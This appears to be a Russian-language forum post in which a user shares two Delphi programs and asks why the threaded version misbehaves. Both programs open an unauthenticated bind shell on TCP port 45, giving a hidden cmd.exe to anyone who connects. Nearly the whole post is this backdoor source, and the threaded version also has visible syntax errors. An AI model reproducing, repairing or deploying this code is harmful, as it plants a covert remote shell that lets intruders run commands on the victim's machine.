
Шустрый

Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар
Репутация: нет Всего: нет
|
Есть программа. Она биндит шелл на порту. Банально перенаправялет вывод и ввод консоли . Она работает отлично при вызове из тела программы, но если пытаюсь вставить её в поток, она жутко глючит, 1000 раз открывает консоль, короче что-то не то происходит. Посмотри код может кто увидит что тут не так. Просто код (работает), вызов из тела программы. Код |
program console;
uses SysUtils, WinSock, Windows, WinInet;
const BindPort = 45;
function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';
procedure OpenConsoleOnPort( ); // <-- Shell Var WSAData: TWSAData; FSocket: integer; SockAddrIn: TSockAddrIn; sHandle: dword; St: TStartupInfo; Pr: TProcessInformation; Begin WSAStartup( $202, WSAData ); // Start up socket FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 ); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons( BindPort ); // set socket port bind( FSocket, SockAddrIn, 16 ); listen( FSocket, 0 ); // Listen to data While true Do Begin sHandle := accept( FSocket, Nil, nil ); // Accept data If sHandle <> INVALID_SOCKET Then Begin ZeroMemory( @St, SizeOf( TStartupInfo ) ); St.cb := SizeOf( TStartupInfo ); St.wShowWindow := SW_HIDE; St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW; St.hStdInput := sHandle; St.hStdOutput := sHandle; St.hStdError := sHandle; CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr ); CloseHandle( sHandle ); CloseHandle( Pr.hProcess ); CloseHandle( Pr.hThread ); End; End; End; begin OpenConsoleOnPort( ); end.
|
Код где в потоке, не работает...: Код | program console;
uses SysUtils, WinSock, Windows, WinInet
const BindPort = 45;
var Thread_BindPort: Cardinal;
function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';
function OpenConsoleOnPort( Parametr: Pointer ): Integer; // <-- Shell thread Var WSAData: TWSAData; FSocket: integer; SockAddrIn: TSockAddrIn; sHandle: dword; St: TStartupInfo; Pr: TProcessInformation; Begin WSAStartup( $202, WSAData ); // Start up socket FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 ); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons( BindPort ); // set socket port bind( FSocket, SockAddrIn, 16 ); listen( FSocket, 0 ); // Listen to data While true Do Begin sHandle := accept( FSocket, Nil, nil ); // Accept data If sHandle <> INVALID_SOCKET Then Begin ZeroMemory( @St, SizeOf( TStartupInfo ) ); St.cb := SizeOf( TStartupInfo ); St.wShowWindow := SW_HIDE; St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW; St.hStdInput := sHandle; St.hStdOutput := sHandle; St.hStdError := sHandle; CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr ); CloseHandle( sHandle ); CloseHandle( Pr.hProcess ); CloseHandle( Pr.hThread ); End; End; End; begin BeginThread( nil, 0, @OpenConsoleOnPort, 0, 0, Thread_BindPort ); // <-- Begin Shell Thread
While Thread_BindPort <> 0 do Sleep( 5000 ); //WaitForSingleObject( Thread_BindPort, INFINITE ); end; end.
|
|